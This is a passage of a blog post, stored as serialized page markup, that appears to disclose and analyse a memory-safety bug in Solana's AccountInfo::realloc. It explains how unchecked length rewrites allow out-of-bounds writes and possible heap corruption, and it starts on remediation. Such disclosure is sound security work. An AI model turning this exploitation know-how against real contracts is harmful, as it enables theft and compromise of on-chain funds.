u64;\n",[21738],{"type":24,"tag":80,"props":21739,"children":21740},{"__ignoreMap":7},[21741,21749,21876],{"type":24,"tag":147,"props":21742,"children":21743},{"class":149,"line":150},[21744],{"type":24,"tag":147,"props":21745,"children":21746},{"style":154},[21747],{"type":29,"value":21748},"// Then set the new length in the local slice\n",{"type":24,"tag":147,"props":21750,"children":21751},{"class":149,"line":160},[21752,21756,21760,21764,21768,21772,21776,21780,21784,21788,21792,21796,21800,21804,21808,21812,21816,21820,21824,21828,21832,21836,21840,21844,21848,21852,21856,21860,21864,21868,21872],{"type":24,"tag":147,"props":21753,"children":21754},{"style":218},[21755],{"type":29,"value":17406},{"type":24,"tag":147,"props":21757,"children":21758},{"style":247},[21759],{"type":29,"value":19473},{"type":24,"tag":147,"props":21761,"children":21762},{"style":241},[21763],{"type":29,"value":651},{"type":24,"tag":147,"props":21765,"children":21766},{"style":241},[21767],{"type":29,"value":12767},{"type":24,"tag":147,"props":21769,"children":21770},{"style":218},[21771],{"type":29,"value":9348},{"type":24,"tag":147,"props":21773,"children":21774},{"style":241},[21775],{"type":29,"value":1263},{"type":24,"tag":147,"props":21777,"children":21778},{"style":235},[21779],{"type":29,"value":19632},{"type":24,"tag":147,"props":21781,"children":21782},{"style":218},[21783],{"type":29,"value":19330},{"type":24,"tag":147,"props":21785,"children":21786},{"style":241},[21787],{"type":29,"value":87},{"type":24,"tag":147,"props":21789,"children":21790},{"style":235},[21791],{"type":29,"value":1139},{"type":24,"tag":147,"props":21793,"children":21794},{"style":241},[21795],{"type":29,"value":87},{"type":24,"tag":147,"props":21797,"children":21798},{"style":229},[21799],{"type":29,"value":19653},{"type":24,"tag":147,"props":21801,"children":21802},{"style":235},[21803],{"type":29,"value":19658},{"type":24,"tag":147,"props":21805,"children":21806},{"style":218},[21807],{"type":29,"value":14467},{"type":24,"tag":147,"props":21809,"children":21810},{"style":241},[21811],{"type":29,"value":1263},{"type":24,"tag":147,"props":21813,"children":21814},{"style":218},[21815],{"type":29,"value":15276},{"type":24,"tag":147,"props":21817,"children":21818},{"style":9044},[21819],{"type":29,"value":11484},{"type":24,"tag":147,"props":21821,"children":21822},{"style":235},[21823],{"type":29,"value":8758},{"type":24,"tag":147,"props":21825,"children":21826},{"style":241},[21827],{"type":29,"value":87},{"type":24,"tag":147,"props":21829,"children":21830},{"style":229},[21831],{"type":29,"value":729},{"type":24,"tag":147,"props":21833,"children":21834},{"style":235},[21835],{"type":29,"value":480},{"type":24,"tag":147,"props":21837,"children":21838},{"style":705},[21839],{"type":29,"value":1154},{"type":24,"tag":147,"props":21841,"children":21842},{"style":235},[21843],{"type":29,"value":564},{"type":24,"tag":147,"props":21845,"children":21846},{"style":218},[21847],{"type":29,"value":14467},{"type":24,"tag":147,"props":21849,"children":21850},{"style":9044},[21851],{"type":29,"value":11484},{"type":24,"tag":147,"props":21853,"children":21854},{"style":235},[21855],{"type":29,"value":564},{"type":24,"tag":147,"props":21857,"children":21858},{"style":218},[21859],{"type":29,"value":14467},{"type":24,"tag":147,"props":21861,"children":21862},{"style":241},[21863],{"type":29,"value":1263},{"type":24,"tag":147,"props":21865,"children":21866},{"style":218},[21867],{"type":29,"value":9348},{"type":24,"tag":147,"props":21869,"children":21870},{"style":9044},[21871],{"type":29,"value":11484},{"type":24,"tag":147,"props":21873,"children":21874},{"style":235},[21875],{"type":29,"value":1473},{"type":24,"tag":147,"props":21877,"children":21878},{"class":149,"line":169},[21879,21883,21887,21891,21895,21899,21903],{"type":24,"tag":147,"props":21880,"children":21881},{"style":241},[21882],{"type":29,"value":244},{"type":24,"tag":147,"props":21884,"children":21885},{"style":247},[21886],{"type":29,"value":19564},{"type":24,"tag":147,"props":21888,"children":21889},{"style":241},[21890],{"type":29,"value":651},{"type":24,"tag":147,"props":21892,"children":21893},{"style":247},[21894],{"type":29,"value":19573},{"type":24,"tag":147,"props":21896,"children":21897},{"style":218},[21898],{"type":29,"value":14453},{"type":24,"tag":147,"props":21900,"children":21901},{"style":9044},[21902],{"type":29,"value":11484},{"type":24,"tag":147,"props":21904,"children":21905},{"style":235},[21906],{"type":29,"value":432},{"type":24,"tag":25,"props":21908,"children":21909},{},[21910,21912,21918,21920,21931,21933,21939,21941,21947,21949,21954,21956,21961,21963,21973,21974,21981,21982,21989,21996,21998,22004,22006,22012,22014,22019,22021,22026,22028,22034,22036,22041],{"type":29,"value":21911},"That ",{"type":24,"tag":80,"props":21913,"children":21915},{"className":21914},[],[21916],{"type":29,"value":21917},"as_ptr()",{"type":29,"value":21919}," call is ",{"type":24,"tag":2773,"props":21921,"children":21924},{"href":21922,"rel":21923},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[2777],[21925],{"type":24,"tag":80,"props":21926,"children":21928},{"className":21927},[],[21929],{"type":29,"value":21930},"RefCell::as_ptr()",{"type":29,"value":21932}," due to the ",{"type":24,"tag":80,"props":21934,"children":21936},{"className":21935},[],[21937],{"type":29,"value":21938},"Deref",{"type":29,"value":21940}," impl on ",{"type":24,"tag":80,"props":21942,"children":21944},{"className":21943},[],[21945],{"type":29,"value":21946},"Rc",{"type":29,"value":21948}," (remember also that ",{"type":24,"tag":80,"props":21950,"children":21952},{"className":21951},[],[21953],{"type":29,"value":21115},{"type":29,"value":21955}," itself doesn't behave like a reference, you need to actually ",{"type":24,"tag":8545,"props":21957,"children":21958},{},[21959],{"type":29,"value":21960},"get",{"type":29,"value":21962}," one through ",{"type":24,"tag":2773,"props":21964,"children":21967},{"href":21965,"rel":21966},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[2777],[21968],{"type":24,"tag":80,"props":21969,"children":21971},{"className":21970},[],[21972],{"type":29,"value":14427},{"type":29,"value":12083},{"type":24,"tag":2773,"props":21975,"children":21978},{"href":21976,"rel":21977},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[2777],[21979],{"type":29,"value":21980},"and",{"type":29,"value":12083},{"type":24,"tag":2773,"props":21983,"children":21986},{"href":21984,"rel":21985},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[2777],[21987],{"type":29,"value":21988},"frie",{"type":24,"tag":2773,"props":21990,"children":21993},{"href":21991,"rel":21992},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[2777],[21994],{"type":29,"value":21995},"nds",{"type":29,"value":21997},"). So from ",{"type":24,"tag":80,"props":21999,"children":22001},{"className":22000},[],[22002],{"type":29,"value":22003},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":22005}," we get a ",{"type":24,"tag":80,"props":22007,"children":22009},{"className":22008},[],[22010],{"type":29,"value":22011},"*mut &mut [u8]",{"type":29,"value":22013}," - a ",{"type":24,"tag":8545,"props":22015,"children":22016},{},[22017],{"type":29,"value":22018},"pointer",{"type":29,"value":22020}," to the ",{"type":24,"tag":8545,"props":22022,"children":22023},{},[22024],{"type":29,"value":22025},"slice reference",{"type":29,"value":22027},". From here, we turn the pointer into a ",{"type":24,"tag":80,"props":22029,"children":22031},{"className":22030},[],[22032],{"type":29,"value":22033},"*const u64",{"type":29,"value":22035}," pointer and then offset by 1 ",{"type":24,"tag":80,"props":22037,"children":22039},{"className":22038},[],[22040],{"type":29,"value":13668},{"type":29,"value":22042}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":24,"tag":25,"props":22044,"children":22045},{},[22046,22048,22053,22055,22060,22062,22067,22069,22074,22076,22082],{"type":29,"value":22047},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":24,"tag":2773,"props":22049,"children":22051},{"href":22050},"#Towards-safer-unsafe",[22052],{"type":29,"value":21720},{"type":29,"value":22054}," too, I promise. In summary, we're writing the new length as a ",{"type":24,"tag":80,"props":22056,"children":22058},{"className":22057},[],[22059],{"type":29,"value":13668},{"type":29,"value":22061}," to the region starting 8 bytes from the start of the slice ",{"type":24,"tag":8545,"props":22063,"children":22064},{},[22065],{"type":29,"value":22066},"reference",{"type":29,"value":22068}," (the ",{"type":24,"tag":80,"props":22070,"children":22072},{"className":22071},[],[22073],{"type":29,"value":21074},{"type":29,"value":22075},").So, what does ",{"type":24,"tag":80,"props":22077,"children":22079},{"className":22078},[],[22080],{"type":29,"value":22081},"&[T]",{"type":29,"value":22083}," look like in Rust?",{"type":24,"tag":25,"props":22085,"children":22086},{},[22087,22089,22096,22098,22111,22113,22119],{"type":29,"value":22088},"According to ",{"type":24,"tag":2773,"props":22090,"children":22093},{"href":22091,"rel":22092},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[2777],[22094],{"type":29,"value":22095},"the reference",{"type":29,"value":22097},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":24,"tag":2773,"props":22099,"children":22102},{"href":22100,"rel":22101},"https://doc.rust-lang.org/reference/type-layout.html",[2777],[22103,22105,22109],{"type":29,"value":22104},"\"Type layout can be changed with each compilation. ",{"type":24,"tag":147,"props":22106,"children":22107},{},[22108],{"type":29,"value":15212},{"type":29,"value":22110}," we only document what is guaranteed today\"",{"type":29,"value":22112},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":24,"tag":80,"props":22114,"children":22116},{"className":22115},[],[22117],{"type":29,"value":22118},"rustc",{"type":29,"value":22120},", the layout is a data pointer followed by the size; essentially the same as:",{"type":24,"tag":137,"props":22122,"children":22124},{"className":141,"code":22123,"language":140,"meta":7,"style":7},"// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[22125],{"type":24,"tag":80,"props":22126,"children":22127},{"__ignoreMap":7},[22128,22136,22148,22165,22177],{"type":24,"tag":147,"props":22129,"children":22130},{"class":149,"line":150},[22131],{"type":24,"tag":147,"props":22132,"children":22133},{"style":154},[22134],{"type":29,"value":22135},"// C language\n",{"type":24,"tag":147,"props":22137,"children":22138},{"class":149,"line":160},[22139,22143],{"type":24,"tag":147,"props":22140,"children":22141},{"style":218},[22142],{"type":29,"value":993},{"type":24,"tag":147,"props":22144,"children":22145},{"style":235},[22146],{"type":29,"value":22147}," slice_ref {\n",{"type":24,"tag":147,"props":22149,"children":22150},{"class":149,"line":169},[22151,22156,22160],{"type":24,"tag":147,"props":22152,"children":22153},{"style":218},[22154],{"type":29,"value":22155},"    void",{"type":24,"tag":147,"props":22157,"children":22158},{"style":241},[22159],{"type":29,"value":244},{"type":24,"tag":147,"props":22161,"children":22162},{"style":235},[22163],{"type":29,"value":22164}," ptr;\n",{"type":24,"tag":147,"props":22166,"children":22167},{"class":149,"line":178},[22168,22172],{"type":24,"tag":147,"props":22169,"children":22170},{"style":218},[22171],{"type":29,"value":1051},{"type":24,"tag":147,"props":22173,"children":22174},{"style":235},[22175],{"type":29,"value":22176}," len;\n",{"type":24,"tag":147,"props":22178,"children":22179},{"class":149,"line":187},[22180],{"type":24,"tag":147,"props":22181,"children":22182},{"style":235},[22183],{"type":29,"value":1120},{"type":24,"tag":25,"props":22185,"children":22186},{},[22187],{"type":29,"value":22188},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":24,"tag":2674,"props":22190,"children":22191},{},[22192,22197,22215],{"type":24,"tag":2678,"props":22193,"children":22194},{},[22195],{"type":29,"value":22196},"Slices are laid out in the precise manner described",{"type":24,"tag":2678,"props":22198,"children":22199},{},[22200,22202,22208,22210],{"type":29,"value":22201},"Pointers and ",{"type":24,"tag":80,"props":22203,"children":22205},{"className":22204},[],[22206],{"type":29,"value":22207},"usize",{"type":29,"value":22209}," are the same width as ",{"type":24,"tag":80,"props":22211,"children":22213},{"className":22212},[],[22214],{"type":29,"value":13668},{"type":24,"tag":2678,"props":22216,"children":22217},{},[22218,22219,22224],{"type":29,"value":5094},{"type":24,"tag":80,"props":22220,"children":22222},{"className":22221},[],[22223],{"type":29,"value":21115},{"type":29,"value":22225}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":24,"tag":25,"props":22227,"children":22228},{},[22229,22231,22236,22238,22244,22246,22251,22253,22259,22261,22266,22268,22278],{"type":29,"value":22230},"Assumption #2 is ",{"type":24,"tag":8545,"props":22232,"children":22233},{},[22234],{"type":29,"value":22235},"probably",{"type":29,"value":22237}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":24,"tag":80,"props":22239,"children":22241},{"className":22240},[],[22242],{"type":29,"value":22243},"borrow_mut",{"type":29,"value":22245}," of the ",{"type":24,"tag":80,"props":22247,"children":22249},{"className":22248},[],[22250],{"type":29,"value":21115},{"type":29,"value":22252}," (through ",{"type":24,"tag":80,"props":22254,"children":22256},{"className":22255},[],[22257],{"type":29,"value":22258},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":22260},"), and ",{"type":24,"tag":80,"props":22262,"children":22264},{"className":22263},[],[22265],{"type":29,"value":21115},{"type":29,"value":22267}," is not usable between multiple threads",{"type":24,"tag":21085,"props":22269,"children":22270},{},[22271],{"type":24,"tag":2773,"props":22272,"children":22276},{"href":22273,"ariaDescribedBy":22274,"dataFootnoteRef":7,"id":22275},"#user-content-fn-sendsync",[21092],"user-content-fnref-sendsync",[22277],{"type":29,"value":8753},{"type":29,"value":22279},", so we already have exclusive access.",{"type":24,"tag":25,"props":22281,"children":22282},{},[22283,22285,22289],{"type":29,"value":22284},"A few more ",{"type":24,"tag":8545,"props":22286,"children":22287},{},[22288],{"type":29,"value":12733},{"type":29,"value":22290}," things of note, that could have gone badly but didn't:",{"type":24,"tag":22292,"props":22293,"children":22294},"ul",{},[22295,22337],{"type":24,"tag":2678,"props":22296,"children":22297},{},[22298,22300,22306,22308,22313,22315,22320,22322,22327,22329,22335],{"type":29,"value":22299},"By reborrowing the pointer (the ",{"type":24,"tag":80,"props":22301,"children":22303},{"className":22302},[],[22304],{"type":29,"value":22305},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":22307},"), we've created a reference with an ",{"type":24,"tag":8545,"props":22309,"children":22310},{},[22311],{"type":29,"value":22312},"unbounded lifetime",{"type":29,"value":22314},". Rust is free to infer ",{"type":24,"tag":8545,"props":22316,"children":22317},{},[22318],{"type":29,"value":22319},"any",{"type":29,"value":22321}," lifetime for ",{"type":24,"tag":80,"props":22323,"children":22325},{"className":22324},[],[22326],{"type":29,"value":19564},{"type":29,"value":22328}," (including ",{"type":24,"tag":80,"props":22330,"children":22332},{"className":22331},[],[22333],{"type":29,"value":22334},"'static",{"type":29,"value":22336},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":24,"tag":2678,"props":22338,"children":22339},{},[22340,22342,22348,22350,22355,22357,22362,22364,22369,22371,22376,22378,22383,22385,22390,22392,22398,22400,22405,22407,22412,22414,22419,22421,22426,22428,22433],{"type":29,"value":22341},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":24,"tag":80,"props":22343,"children":22345},{"className":22344},[],[22346],{"type":29,"value":22347},"RefMut",{"type":29,"value":22349}," returned from ",{"type":24,"tag":80,"props":22351,"children":22353},{"className":22352},[],[22354],{"type":29,"value":19490},{"type":29,"value":22356},", but the ",{"type":24,"tag":80,"props":22358,"children":22360},{"className":22359},[],[22361],{"type":29,"value":22347},{"type":29,"value":22363}," is dropped at the end of the statement. So, we now have in ",{"type":24,"tag":80,"props":22365,"children":22367},{"className":22366},[],[22368],{"type":29,"value":19564},{"type":29,"value":22370}," a ",{"type":24,"tag":8545,"props":22372,"children":22373},{},[22374],{"type":29,"value":22375},"mutable",{"type":29,"value":22377}," pointer to the ",{"type":24,"tag":80,"props":22379,"children":22381},{"className":22380},[],[22382],{"type":29,"value":21115},{"type":29,"value":22384},"'s data, but the ",{"type":24,"tag":80,"props":22386,"children":22388},{"className":22387},[],[22389],{"type":29,"value":21115},{"type":29,"value":22391}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":24,"tag":80,"props":22393,"children":22395},{"className":22394},[],[22396],{"type":29,"value":22397},"Mutex",{"type":29,"value":22399}," instead of a ",{"type":24,"tag":80,"props":22401,"children":22403},{"className":22402},[],[22404],{"type":29,"value":21115},{"type":29,"value":22406}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":24,"tag":80,"props":22408,"children":22410},{"className":22409},[],[22411],{"type":29,"value":19564},{"type":29,"value":22413}," and writing to it ",{"type":24,"tag":8545,"props":22415,"children":22416},{},[22417],{"type":29,"value":22418},"and succeed",{"type":29,"value":22420},", resulting in us writing while another reference is alive. However, since ",{"type":24,"tag":80,"props":22422,"children":22424},{"className":22423},[],[22425],{"type":29,"value":19564},{"type":29,"value":22427}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":24,"tag":80,"props":22429,"children":22431},{"className":22430},[],[22432],{"type":29,"value":1139},{"type":29,"value":22434}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":24,"tag":25,"props":22436,"children":22437},{},[22438,22440,22445],{"type":29,"value":22439},"Ok, now that we've understood what the code is ",{"type":24,"tag":8545,"props":22441,"children":22442},{},[22443],{"type":29,"value":22444},"trying",{"type":29,"value":22446}," to do, let's try to break it, shall we?",{"type":24,"tag":32,"props":22448,"children":22450},{"id":22449},"what-can-go-wrong",[22451],{"type":29,"value":22452},"What can go wrong?",{"type":24,"tag":43,"props":22454,"children":22456},{"id":22455},"contracts",[22457],{"type":29,"value":22458},"Contracts",{"type":24,"tag":25,"props":22460,"children":22461},{},[22462,22464,22469,22471,22476,22478,22483,22485,22490],{"type":29,"value":22463},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":24,"tag":80,"props":22465,"children":22467},{"className":22466},[],[22468],{"type":29,"value":19255},{"type":29,"value":22470},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":24,"tag":80,"props":22472,"children":22474},{"className":22473},[],[22475],{"type":29,"value":19255},{"type":29,"value":22477}," to some large size, past the end of the buffer of roughly ",{"type":24,"tag":80,"props":22479,"children":22481},{"className":22480},[],[22482],{"type":29,"value":20905},{"type":29,"value":22484}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":24,"tag":80,"props":22486,"children":22488},{"className":22487},[],[22489],{"type":29,"value":1139},{"type":29,"value":22491}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":24,"tag":25,"props":22493,"children":22494},{},[22495,22497,22504],{"type":29,"value":22496},"There is ",{"type":24,"tag":2773,"props":22498,"children":22501},{"href":22499,"rel":22500},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[2777],[22502],{"type":29,"value":22503},"a check",{"type":29,"value":22505}," by the BPF loader, however, and it boils down to:",{"type":24,"tag":137,"props":22507,"children":22509},{"className":8614,"code":22508,"language":8613,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[22510],{"type":24,"tag":80,"props":22511,"children":22512},{"__ignoreMap":7},[22513,22551,22581,22588,22620],{"type":24,"tag":147,"props":22514,"children":22515},{"class":149,"line":150},[22516,22520,22525,22529,22533,22537,22541,22546],{"type":24,"tag":147,"props":22517,"children":22518},{"style":321},[22519],{"type":29,"value":21191},{"type":24,"tag":147,"props":22521,"children":22522},{"style":247},[22523],{"type":29,"value":22524}," post_len",{"type":24,"tag":147,"props":22526,"children":22527},{"style":241},[22528],{"type":29,"value":87},{"type":24,"tag":147,"props":22530,"children":22531},{"style":229},[22532],{"type":29,"value":19906},{"type":24,"tag":147,"props":22534,"children":22535},{"style":235},[22536],{"type":29,"value":480},{"type":24,"tag":147,"props":22538,"children":22539},{"style":241},[22540],{"type":29,"value":244},{"type":24,"tag":147,"props":22542,"children":22543},{"style":247},[22544],{"type":29,"value":22545},"pre_len",{"type":24,"tag":147,"props":22547,"children":22548},{"style":235},[22549],{"type":29,"value":22550},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":24,"tag":147,"props":22552,"children":22553},{"class":149,"line":160},[22554,22559,22563,22567,22572,22576],{"type":24,"tag":147,"props":22555,"children":22556},{"style":241},[22557],{"type":29,"value":22558},"    ||",{"type":24,"tag":147,"props":22560,"children":22561},{"style":247},[22562],{"type":29,"value":22524},{"type":24,"tag":147,"props":22564,"children":22565},{"style":241},[22566],{"type":29,"value":19808},{"type":24,"tag":147,"props":22568,"children":22569},{"style":235},[22570],{"type":29,"value":22571}," MAX_PERMITTED_DATA_LENGTH ",{"type":24,"tag":147,"props":22573,"children":22574},{"style":218},[22575],{"type":29,"value":14467},{"type":24,"tag":147,"props":22577,"children":22578},{"style":9044},[22579],{"type":29,"value":22580}," usize\n",{"type":24,"tag":147,"props":22582,"children":22583},{"class":149,"line":169},[22584],{"type":24,"tag":147,"props":22585,"children":22586},{"style":235},[22587],{"type":29,"value":278},{"type":24,"tag":147,"props":22589,"children":22590},{"class":149,"line":178},[22591,22595,22599,22603,22607,22611,22616],{"type":24,"tag":147,"props":22592,"children":22593},{"style":321},[22594],{"type":29,"value":2597},{"type":24,"tag":147,"props":22596,"children":22597},{"style":9044},[22598],{"type":29,"value":21359},{"type":24,"tag":147,"props":22600,"children":22601},{"style":235},[22602],{"type":29,"value":480},{"type":24,"tag":147,"props":22604,"children":22605},{"style":9044},[22606],{"type":29,"value":21368},{"type":24,"tag":147,"props":22608,"children":22609},{"style":241},[22610],{"type":29,"value":9106},{"type":24,"tag":147,"props":22612,"children":22613},{"style":9044},[22614],{"type":29,"value":22615},"InvalidRealloc",{"type":24,"tag":147,"props":22617,"children":22618},{"style":235},[22619],{"type":29,"value":1473},{"type":24,"tag":147,"props":22621,"children":22622},{"class":149,"line":187},[22623],{"type":24,"tag":147,"props":22624,"children":22625},{"style":235},[22626],{"type":29,"value":827},{"type":24,"tag":25,"props":22628,"children":22629},{},[22630,22632,22637,22639,22644],{"type":29,"value":22631},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":24,"tag":8545,"props":22633,"children":22634},{},[22635],{"type":29,"value":22636},"finishes",{"type":29,"value":22638}," execution. ",{"type":24,"tag":8545,"props":22640,"children":22641},{},[22642],{"type":29,"value":22643},"During",{"type":29,"value":22645}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":24,"tag":25,"props":22647,"children":22648},{},[22649,22651,22656,22658,22663,22665,22672],{"type":29,"value":22650},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":24,"tag":8545,"props":22652,"children":22653},{},[22654],{"type":29,"value":22655},"arbitrary",{"type":29,"value":22657}," memory access through a mistakenly-",{"type":24,"tag":80,"props":22659,"children":22661},{"className":22660},[],[22662],{"type":29,"value":19255},{"type":29,"value":22664},"'d account, this falls in the relm of some ",{"type":24,"tag":2773,"props":22666,"children":22669},{"href":22667,"rel":22668},"https://en.wikipedia.org/wiki/Buffer_overflow",[2777],[22670],{"type":29,"value":22671},"old-school pwning",{"type":29,"value":22673}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":24,"tag":43,"props":22675,"children":22677},{"id":22676},"not-contracts",[22678],{"type":29,"value":22679},"Not-contracts?",{"type":24,"tag":25,"props":22681,"children":22682},{},[22683,22685,22690,22692,22702,22704,22716,22718,22725,22727,22732,22734,22739,22741,22754,22756,22761,22763,22768],{"type":29,"value":22684},"Remember when we said that all this code makes sense ",{"type":24,"tag":8545,"props":22686,"children":22687},{},[22688],{"type":29,"value":22689},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":22691},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":24,"tag":2773,"props":22693,"children":22696},{"href":22694,"rel":22695},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[2777],[22697],{"type":24,"tag":80,"props":22698,"children":22700},{"className":22699},[],[22701],{"type":29,"value":20552},{"type":29,"value":22703}," are public, and so is its ",{"type":24,"tag":2773,"props":22705,"children":22708},{"href":22706,"rel":22707},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[2777],[22709,22714],{"type":24,"tag":80,"props":22710,"children":22712},{"className":22711},[],[22713],{"type":29,"value":20734},{"type":29,"value":22715}," method",{"type":29,"value":22717}," (which is ",{"type":24,"tag":2773,"props":22719,"children":22722},{"href":22720,"rel":22721},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[2777],[22723],{"type":29,"value":22724},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":22726},"). The ",{"type":24,"tag":80,"props":22728,"children":22730},{"className":22729},[],[22731],{"type":29,"value":19255},{"type":29,"value":22733}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":24,"tag":80,"props":22735,"children":22737},{"className":22736},[],[22738],{"type":29,"value":20552},{"type":29,"value":22740}," ourselves - potentially through the ",{"type":24,"tag":2773,"props":22742,"children":22745},{"href":22743,"rel":22744},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[2777],[22746,22752],{"type":24,"tag":80,"props":22747,"children":22749},{"className":22748},[],[22750],{"type":29,"value":22751},"Account",{"type":29,"value":22753}," trait",{"type":29,"value":22755},", which is hardly documented at all and makes ",{"type":24,"tag":8545,"props":22757,"children":22758},{},[22759],{"type":29,"value":22760},"no",{"type":29,"value":22762}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":24,"tag":80,"props":22764,"children":22766},{"className":22765},[],[22767],{"type":29,"value":1139},{"type":29,"value":22769}," buffer.",{"type":24,"tag":25,"props":22771,"children":22772},{},[22773,22775,22786,22788,22794,22796,22802,22804,22817,22819,22824,22826,22831,22833,22838,22840,22845,22847,22852,22854,22859],{"type":29,"value":22774},"One long arm of this is ",{"type":24,"tag":2773,"props":22776,"children":22779},{"href":22777,"rel":22778},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[2777],[22780],{"type":24,"tag":80,"props":22781,"children":22783},{"className":22782},[],[22784],{"type":29,"value":22785},"solana_sdk::account::Account",{"type":29,"value":22787}," - in the client SDK. It holds an account's data in a ",{"type":24,"tag":80,"props":22789,"children":22791},{"className":22790},[],[22792],{"type":29,"value":22793},"Vec\u003Cu8>",{"type":29,"value":22795},", and it implements ",{"type":24,"tag":80,"props":22797,"children":22799},{"className":22798},[],[22800],{"type":29,"value":22801},"solana_program::account_info::Account",{"type":29,"value":22803}," (the trait from earlier) - by ",{"type":24,"tag":2773,"props":22805,"children":22808},{"href":22806,"rel":22807},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[2777],[22809,22811],{"type":29,"value":22810},"returning a reference to the contents of that ",{"type":24,"tag":80,"props":22812,"children":22814},{"className":22813},[],[22815],{"type":29,"value":22816},"Vec",{"type":29,"value":22818},". So, ",{"type":24,"tag":80,"props":22820,"children":22822},{"className":22821},[],[22823],{"type":29,"value":19255},{"type":29,"value":22825}," writes the size into the 8 bytes right before ",{"type":24,"tag":80,"props":22827,"children":22829},{"className":22828},[],[22830],{"type":29,"value":1139},{"type":29,"value":22832},"; ",{"type":24,"tag":80,"props":22834,"children":22836},{"className":22835},[],[22837],{"type":29,"value":1139},{"type":29,"value":22839}," is the buffer of a ",{"type":24,"tag":80,"props":22841,"children":22843},{"className":22842},[],[22844],{"type":29,"value":22816},{"type":29,"value":22846},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":24,"tag":80,"props":22848,"children":22850},{"className":22849},[],[22851],{"type":29,"value":20552},{"type":29,"value":22853}," out of an SDK ",{"type":24,"tag":80,"props":22855,"children":22857},{"className":22856},[],[22858],{"type":29,"value":22751},{"type":29,"value":22860}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":24,"tag":32,"props":22862,"children":22864},{"id":22863},"remediation",[22865],{"type":29,"value":22866},"Remediation",{"type":24,"tag":25,"props":22868,"children":22869},{},[22870],{"type":29,"value":22871},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":24,"tag":25,"props":22873,"children":22874},{},[22875,22877,22882,22884,22889,22891,22902,22904,22909,22911,22918],{"type":29,"value":22876},"The sensible thing to do would be to store the initial size in the ",{"type":24,"tag":80,"props":22878,"children":22880},{"className":22879},[],[22881],{"type":29,"value":20552},{"type":29,"value":22883},"... except for the fact that the layout of ",{"type":24,"tag":80,"props":22885,"children":22887},{"className":22886},[],[22888],{"type":29,"value":20552},{"type":29,"value":22890}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":24,"tag":21085,"props":22892,"children":22893},{},[22894],{"type":24,"tag":2773,"props":22895,"children":22899},{"href":22896,"ariaDescribedBy":22897,"dataFootnoteRef":7,"id":22898},"#user-content-fn-layout",[21092],"user-content-fnref-layout",[22900],{"type":29,"value":22901},"3",{"type":29,"value":22903}," So, with changing 